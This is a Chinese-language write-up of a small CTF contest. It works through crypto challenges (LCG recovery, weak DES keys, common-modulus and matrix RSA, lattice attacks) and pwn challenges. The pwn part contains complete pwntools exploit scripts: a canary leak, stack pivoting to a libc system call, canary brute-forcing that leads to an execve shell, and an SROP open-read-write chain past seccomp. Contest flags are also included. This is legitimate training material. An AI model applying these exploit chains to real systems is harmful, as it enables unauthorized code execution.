周末很忙,哪个比赛都没打,周一把一个小赛回顾一下。
这个比完马上就发了官方WP,我会的大概跟我作的一样,不会的也记下来。虽然没报名但是马上就把题移到了练习区,真是良心赛。
Crypto
Crypto_签到
from Crypto.Util.number import *m = b'flag{********}'
a = getPrime(247)
b = getPrime(247)
n = getPrime(247)seed = bytes_to_long(m)class LCG:def __init__(self, seed, a, b, m):self.seed = seed self.a = a self.b = b self.m = m def generate(self):self.seed = (self.a * self.seed + self.b) % self.mself.seed = (self.a * self.seed + self.b) % self.mreturn self.seedseed = bytes_to_long(m)output = LCG(seed,a,b,n)for i in range(getPrime(16)):output.generate()print(output.generate())
print(output.generate())
print(output.generate())
print(output.generate())
print(output.generate())
一个LCG求种子的题,WP里解释的不好,我来加一句。对于LCG有一个式子:x2 = (a*x1+b )%n
这个题连用了两次也就有x2 = a*(a*x1+b)+b mod n 由于这里并不需要求出a,b来,所以求参的时候可以变成 x2 = A*x1+B mod n 然后求groebner基(这里A=a*a,B=a*b+b)
v = [5944442525761903973219225838876172353829065175803203250803344015146870499,
141002272698398325287408425994092371191022957387708398440724215884974524650,
42216026849704835847606250691811468183437263898865832489347515649912153042,
67696624031762373831757634064133996220332196053248058707361437259689848885,
19724224939085795542564952999993739673429585489399516522926780014664745253]P.<a,b,n>=PolynomialRing(ZZ)
#a = A^2 ,b = ab+b
F = [a*v[i-1]+b - v[i] for i in range(1,len(v))]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)
# 求解参数a b n
res=[x.constant_coefficient() for x in I]
n = res[2]
a = -res[0]%n
b = -res[1]%nn = 155908129777160236018105193822448288416284495517789603884888599242193844951
a = 64626559347206047394060455019203284495581399273613957197572789423633157340
b = 70007026214493722017071763643415747654706858246084218560508331533479420820
a_ = inverse_mod(a,n)
x = v[0]
for i in range(0x10000):x = (x-b)*a_%n if i>0x8000 and b'flag' in long_to_bytes(int(x)):print(long_to_bytes(int(x)))
#flag{Hello_CTF}
EzDES
一个DES加密的题,没有key,这个题可以略过了,从理论上来说,如果key不是特殊值应该不能在比赛时间内爆破出来,没意义。那key是特殊值的话,弱key有那么几个,试一下呗
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
from secret import flag,keykey = bytes.fromhex(key)
des = DES.new(key, DES.MODE_ECB)enc = des.encrypt(pad(flag,64))print(enc)enc = b't\xe4f\x19\xc6\xef\xaaL\xc3R}\x08;K\xc9\x88\xa6|\nF\xc3\x12h\xcd\xd3x\xc3(\x91\x08\x841\xca\x8b\xc1\x94\xb5\x9f[\xcd\xc6\x9f\xf9\xf6\xca\xf5\x1a\xda\x16\xcf\x89\x154\xa1\xfe\xc5\x16\xcf\x89\x154\xa1\xfe\xc5'keys = ['0101010101010101','FEFEFEFEFEFEFEFE','E0E0E0E0F1F1F1F1','1F1F1F1F0E0E0E0E','0000000000000000','FFFFFFFFFFFFFFFF','E1E1E1E1F0F0F0F0','1E1E1E1E0F0F0F0F']
for key in keys:des = DES.new(bytes.fromhex(key), DES.MODE_ECB)print(des.decrypt(enc))
MidRSA
from Crypto.Util.number import *
from secret import flag
import random
import gmpy2def generate_Key1(ebits):e = [getPrime(ebits) for _ in range(4)]return edef encrypt1(message,e):n = gmpy2.next_prime(bytes_to_long(message) << 300)m = getPrime(256)c = [int(pow(m,e[i],n)) for i in range(len(e))]return cdef generate_Key2(nbits):p = getPrime(nbits // 2)q = getPrime(nbits // 2)n = p*qe = [random.getrandbits(nbits // 4) for _ in range(3)]return n,edef encrypt2(message,e,n):m = bytes_to_long(message)c = [int(pow(m,e[i],n)) for i in range(len(e))]return cassert flag.startswith(b"DRKCTF{")flag1 = flag[:len(flag)//2]
flag2 = flag[len(flag)//2:]ebits = 7
e1 = generate_Key1(ebits)
cipher1 = encrypt1(flag1,e1)
print("e1 =",e1)
print("cipher1 =",cipher1)nbits = 1024
n,e2 = generate_Key2(nbits)
cipher2 = encrypt2(flag2,e2,n)
print("e2 =",e2)
print("cipher2 =",cipher2)
print("n =",n)
题目flag分两块,第1块给了4个很小的e(其实是3个,有一个重了)求n。求模的问题用groebner基很方便
e1 = [109, 71, 109, 73]
cipher1 = [36272047346364825234770733058042613197790911431212158822254782055957208837848605160852567043492625692783344073921185227328379941291979083011033, 13421582077901767047291741873622169312010984740586925881415103229648835151589774736786336965745532072099996467445790339749720696886313635920080, 36272047346364825234770733058042613197790911431212158822254782055957208837848605160852567043492625692783344073921185227328379941291979083011033, 41425183140413487232780768389488969603566343428250573532166425276868000949579663990819005141199597640625439816343697426958648927294289659127871]
# c71 = x^71 mod n 求n
P.<x,a>=PolynomialRing(ZZ)
f1 = x^109 - cipher1[0]
f2 = x^71 - cipher1[1]
f3 = x^73 - cipher1[3]
F = [f1,f2,f3]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)
# 求解参数a b n
res=[x.constant_coefficient() for x in I]
n = res[2]
n = 52070903708422994177702152844749054096936232785728633489753509853820697324856272214943119700357391238755350909875286030161643999565895169999019
print(long_to_bytes(n>>300))
#b'DRKCTF{5d0b96e8-e069-4'
第2块给了3个e都很大,3个c和一个n,显然共模攻击,不过看了看WP确实很简便,比模板简单,模板里处理了gcd为负数的情况,而且e0,e1没有公因子,并不需要第2次攻击(记得有一个题老有公因子,一共用了6重)
e2 = [79572758141493570128961125255246129069540961757778793209698370333142346488381, 80555585862127636800866563977080055603517001358195529410497461746213789997225, 44651921320695090688745333790065512192118202496468714141526113242887125432380]
cipher2 = [58600444300331800249882073146233995912287198739549440714207984476331259754331716531491187240053630185776787152600165426285021284302994699108557023545574315706006132536588848833818758624067461985444940651823107522770906474037882323326792755635934081822967331031854184791299228513024491344725765476710816941057, 16511944800191885973496391252612222059697387587833308714567450121364756390806094606646424594583975159634952911600665271092389815248477961923357683297311169260578508157717777465241680062644118354471550223231057620392252324514411927096940875466794869671163453991620492008856178108060167556176019729800517994337, 80885008609388989196377721090246742575908473911131498982960117640742106565184297197238656375198284856442596226398287448931285735903463892735111244609358611618958293002176923706195402338331128766464276441210238388187625107435781170368017908610916585774514676482124401329575553658828115269495158818527164441546]
n = 93468142044831350317940409833603031534515663349871776634867176846669780024082517910566484997161088199091160371537367121403194814422867749777235397168852158723228851090445429617275680206703935781244466363279841409768649097588586494453125840436600639420286950914680651600232197982546122764845043227394567787283
def rsa_gong_N_def(e1,e2,c1,c2,n): #共模攻击函数e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)print("e1,e2:",e1,e2)s = gmpy2.gcdext(e1, e2)print("mpz:",s)s1 = s[1]s2 = s[2]if s1 < 0:s1 = - s1c1 = gmpy2.invert(c1, n)elif s2 < 0:s2 = - s2c2 = gmpy2.invert(c2, n)m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % nreturn int(m)res = rsa_gong_N_def(e2[0],e2[1],cipher2[0],cipher2[1],n)
#在e2[0],e2[1]没有公因子的时候不需要第2次gcd
long_to_bytes(res)
MatrixRSA_Revenge
这个怎么说呢,知道phi怎么求就出来了,不知道永远出不来。自己推不大可能。
from Crypto.Util.number import *
import osflag = b"DRKCTF{??????????????}" + os.urandom(212)p = getPrime(120)
q = getPrime(120)
print(f"p = {p}")
print(f"q = {q}")part = [bytes_to_long(flag[16*i:16*(i+1)]) for i in range(16)]M = Matrix(Zmod(n),[[part[4*i+j] for j in range(4)] for i in range(4)
])e = 65537
C = M ** eprint(f"C = {list(C)}")p = 724011645798721468405549293573288113
q = 712853480230590736297703668944546433
C = [(354904294318305224658454053059339790915904962123902870614765704810196137, 307912599668649689143528844269686459695648563337814923172488152872006235, 143644686443811064172873392982322248654471792394264352463341325181752577, 22995887787365556743279529792687264972121816670422146768160153217903088), (111349308911096779758451570594323566987628804920420784718347230085486245, 370237591900013263581099395076767089468466012835217658851568690263421449, 305451886364184428434479088589515273362629589399867618474106045683764897, 454103583344277343974714791669312753685583930212748198341578178464249150), (168497521640129742759262423369385500102664740971338844248603058993335309, 228941893018899960301839898935872289351667488000643221589230804176281482, 340080333594340128998141220817079770261711483018587969623825086357581002, 122922413789905368029659916865893297311475500951645918611759627764993518), (10332477229415731242316540110058798318207430965033579181240340751539101, 238172263316130590821973648893483382211906906298557131324791759298887701, 487586702165464601760230182019344052665496627253691596871783460314632260, 12238020921585443139790088280608644406695242899000592355653073240122626)]phi = (p^3-1)*(p^2+1)*(p+1)*p*(q^3-1)*(q^2+1)*(q+1)*q
d = inverse_mod(65537,phi)
c = matrix(Zmod(p*q),C)
M = c**d
flag = b''.join([b''.join([long_to_bytes(int(i)) for i in v]) for v in M])
#DRKCTF{a58986e7-33e5-4f65-8c22-b8a5e620752d}
MyEncrypto
提示是一点点格和多项式。
from Crypto.Util.number import *
from secret import flag
import randomdef getMyPrime(): while True: r = random.getrandbits(64) _p = r**6 -3*r**5 - r**4 + r**2 - r - 6_q = r**7 + 2*r**6 + r**5 + 4*r**4 + 7*r**2 + r + 4653if isPrime(_p) and isPrime(_q): return _p, _qdef enc(m, n): return pow(m, 65537, n) def LCG(s,a,b,n):return (a*s + b) % nseed = bytes_to_long(flag)
P = getPrime(512)
a = random.randrange(0,P)
b = random.randrange(0,P)def Roll():global seedseed = LCG(seed,a,b,P)return seed % 2**16p, q = getMyPrime()
n = p * q
enc_P = enc(P, n)
print(f"n = {n}")
print(f"enc_P = {enc_P}")out = []
for _ in range(40):out.append(Roll())print(f"a = {a}")
print(f"b = {b}")
print(f"out = {out}")
题目分两步,第1步是RSA求P,这里由于p,q都来自多项式,且只有1个变量r且很小,可以直接解。也可以开最高次方后爆破(官WP)。
n = 17959692613208124553115435318871530105762927141420294800783695207170608966804977782615874404539156257549097962410144332053383210075663138848832474791712256427111304125146378883542387121684653496644116081809328796925343393644118376497507
enc_P = 17215745298239635988196009014709535403293865406390546681749129213899045156482782458937447412919331336842808052179915132663427715069134196783415529688715962754860563850858056507148936427379551986735103284388996678146580229028006898491552#求P enc_P = pow(P,65537,n)
#先分解n
var('r')
f = (r**6 -3*r**5 - r**4 + r**2 - r - 6)*(r**7 + 2*r**6 + r**5 + 4*r**4 + 7*r**2 + r + 4653) - n
solve(f,r)
r = 1248775963213848425
p = r**6 -3*r**5 - r**4 + r**2 - r - 6
q = n//p
P = pow(enc_P,inverse_mod(65537,(p-1)*(q-1)),n)
P = 10679387699123200522776360035184725927822172255453595568464894884736102462568579313264894449779104030120028056158023524486966766295648236135714849745610937
第2步是LCG给出低位。这个有个模板。直接套就可以。虽然给的是低位,但是模板并不限定低位,高位或者中间都可以
#LCG已知40个低16位
a = 2759277675743644814124420138047586760905070650864591936190199977578763421196999718749092450720072564786874114432179104175692800471519816376692104515142375
b = 8111240578821759579875175166986910195923820191652867334412871591814076020421468033017946066268237980082938735686222173713853299600396887041341974719819186
out = [39566, 15295, 19818, 55685, 49100, 6517, 2675, 9567, 37243, 40312, 42906, 35874, 44178, 1256, 40298, 29149, 35721, 19886, 63020, 50116, 6844, 39897, 16134, 50218, 44609, 46188, 52712, 49903, 20933, 5441, 19411, 8330, 6904, 39350, 60853, 43446, 35910, 43728, 61533, 13757]#a,b,P,out 怼参数到模板
m = int(P)
l = out
dim = 40 A = [1]
B = [0]
for i in range(1, len(l)-1):A.append(a*A[i-1] % m)B.append((a*B[i-1]+(a*l[i]+b-l[i+1])*inverse_mod(2^16,m)) % m)
A = A[1:]
B = B[1:]M = matrix(ZZ, dim, dim)
for i in range(dim-2):M[i, i] = mM[-2, i] = A[i]M[-1, i] = B[i]M[i, -2] = M[i, -1] = 0
M[-2,-2] = 1
M[-1,-1] = m//2^16 #高位的规模ll = M.LLL()[0]
l1 = ll[-2]
h1 = l[1]
s1 = l1*2^16+h1
#for s1=a*seed+b%m
seed = ((s1-b)*inverse_mod(a,m))%m
print(seed)
seed = 9594274316515632668971217627597749942696463038127272602150428556012734353717934640442559685640297037799233913242435898755497527619463285642172444511214222
flag = ((seed-b)*inverse_mod(a,m))%m
#flag = 2448362126058501250353008578968898134742331314317704567359511706590811819124428162365725464780212201207933
#long_to_bytes(flag)
b'DRKCTF{a57b63a6-ecf5-46d3-a501-2d359a4fd168}'
PWN
ez_quiz
一开始输入key,这key一看是base32但是取返后再求的,这块可以先求出来
from base64 import b32decode
v = 'XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC'
v = bytes([i^0xff for i in b32decode(v)])
#b'DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}'
后边是求一个式子的值,虽然用到随机数但这题并不需要。只是给出一个式子求结果,直接eval,不过由于c的求模方法处理负数不同,大概一半通过。
后边是个格式化字符串泄露,然后是个溢出到后门(官WP没用后门)
from pwn import *v = b'DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}'
context(arch='amd64', log_level='debug')p = remote('challenge.qsnctf.com', 30693)p.sendlineafter(b'Please give me your token: ', v)
p.recvuntil(b"Right!\n")ss = eval(p.recvuntil(b'=?\n', drop=True).decode())
print(ss)
p.sendline(str(ss).encode())p.sendlineafter(b"Right! Here's your gift:\n", b"%11$p,%13$p,")
canary = int(p.recvuntil(b',', drop=True),16)
back_door = int(p.recvuntil(b',', drop=True),16)- 0x2042 + 0x1423p.sendline(b'A'*0x28+ flat(canary,0, back_door))
p.interactive()
stack
buf[0x100]但可输入0x110,有溢出,结合名字就是移栈。
先移到bss里泄露,然后再system
from pwn import *context(arch='amd64', log_level='debug')
elf = ELF('./pwn1')
libc = ELF('./libc-2.31.so')p = remote('challenge.qsnctf.com', 31138)pop_rdi = 0x401210
ret = pop_rdi+1
pop_rsi = 0x401281 #pop rsi ; pop r15 ; ret
pop_rbp = 0x40115d
leave_ret = 0x4011be
bss = 0x404800
main_no_rbp = 0x40119b
p.sendafter(b"Hello, CTFer, do you know how to stack pivoting?\n", b'\x00'*0x100+flat(bss,main_no_rbp))p.send(flat(bss+0x200, pop_rdi,elf.got['puts'],elf.plt['puts'],main_no_rbp).ljust(0x100,b'\x00')+flat(bss-0x100,leave_ret))
libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - libc.sym['puts']
print(f"{libc.address = :x}")
bin_sh = next(libc.search(b'/bin/sh\0'))p.send(flat(bss, ret, pop_rdi, bin_sh, libc.sym['system']).ljust(0x100,b'\x00')+flat(bss+0x200-0x100,leave_ret))p.interactive()
canary
int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v3; // rdxpid_t pid; // [rsp+Ch] [rbp-4h]setbuf(stdin, 0LL, envp);setbuf(stdout, 0LL, v3);while ( 1 ){pid = fork();if ( pid < 0 )break;if ( pid <= 0 )vuln();elsewait(0LL);}return 0;
}
void __cdecl vuln()
{char buf[256]; // [rsp+0h] [rbp-110h] BYREFunsigned __int64 v1; // [rsp+108h] [rbp-8h]v1 = __readfsqword(0x28u);puts("please input:");read(0LL, buf, 512LL);
}
fork后有个溢出函数,但有canary显然是爆破canary,有fork不会down掉
由于没有/bin/sh需要先调用read读一个进来
from pwn import *context(arch='amd64', log_level='error')elf = ELF('./p22_canary')
pop_rdi = 0x00000000004018c2 # pop rdi ; ret
pop_rsi = 0x000000000040f23e # pop rsi ; ret
pop_rdx = 0x00000000004017cf # pop rdx ; ret
pop_rax = 0x00000000004493d7 # pop rax ; ret
syscall = elf.sym['getpid'] + 9
bss = 0x4c4f00#p = process('./p22_canary')
p = remote('challenge.qsnctf.com', 32339)canary = b'\x00'
for i in range(7):for j in range(0x100):tc = canary + bytes([j])p.sendafter(b"input:\n", b'A'*0x108+tc)if p.recv(3) == b'***':continueelse:canary = tcprint(canary.hex())break#gdb.attach(p, "set follow-fork-mode child\nb*0x401dbd\nc")
context.log_level = 'debug'
#read(0, bss,8)
p.sendafter(b"input:\n", b'A'*0x108+flat([canary, 0, pop_rdi,0, pop_rsi,bss,pop_rdx,8, pop_rax,0, syscall, pop_rdi,bss, pop_rsi,0, pop_rdx,0, pop_rax,59,syscall]).ljust(0xf8,b'\x00'))
p.send(b'/bin/sh\0')p.interactive()
srop_seccomp
这个作了seccomp限制,只允许chmod,open,read,write,sigreturn显然是通过sigreturn填充寄存器,要在ORW作个chmod加读权。
这里的syscall;ret中间多个pop rbp,所以到rsp的长度要调下。
from pwn import *context(arch='amd64', log_level='debug')elf = ELF('./chall')#p = process('./chall')
#gdb.attach(p, "b*0x40143c\nc")
p = remote('challenge.qsnctf.com', 31619)pop_rbp = 0x000000000040116d # pop rbp ; ret
leave_ret = 0x4014d4
bss = 0x404060
mov_rax_f = 0x401193
syscall_ret = 0x40118a #syscall;nop;pop rbp;ret
#call
call_sig = flat(mov_rax_f, syscall_ret) #chmodpay1 = b'flag'.ljust(8,b'\0')
pay1 += call_sig
frame = SigreturnFrame()
frame.rax = 90
frame.rdi = bss
frame.rsi = 0o444
frame.rdx = 0
frame.rsp = bss + 0x110
frame.rip = syscall_ret
pay1 += flat(frame,0)pay1 += call_sig #open
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = bss
frame.rsi = 0
frame.rdx = 0
frame.rsp = bss + 0x110 + 0x110
frame.rip = syscall_ret
pay1 += flat(frame,0)pay1 += call_sig #read
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 3
frame.rsi = bss +0x800
frame.rdx = 0x50
frame.rsp = bss + 0x110 + 0x110*2
frame.rip = syscall_ret
pay1 += flat(frame,0)pay1 += call_sig #write
frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 1
frame.rsi = bss +0x800
frame.rdx = 0x50
frame.rsp = bss + 0x110 + 0x110*3
frame.rip = syscall_ret
pay1 += flat(frame,0)#mov stack
payr = b'A'*0x2a+flat(bss, leave_ret)p.sendafter(b"easyhack\n", pay1+flat(frame))
p.sendafter(b'Do u know what is SUID?\n', payr)p.interactive()
'''
┌──(kali㉿kali)-[~/ctf/2405/p23]
└─$ seccomp-tools dump ./chall line CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 00120002: 0x20 0x00 0x00 0x00000000 A = sys_number0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 00050004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 00120005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 00110006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 00110007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 00110008: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 00110009: 0x15 0x01 0x00 0x0000005a if (A == chmod) goto 00110010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 00120011: 0x06 0x00 0x00 0x7fff0000 return ALLOW0012: 0x06 0x00 0x00 0x00000000 return KILL
'''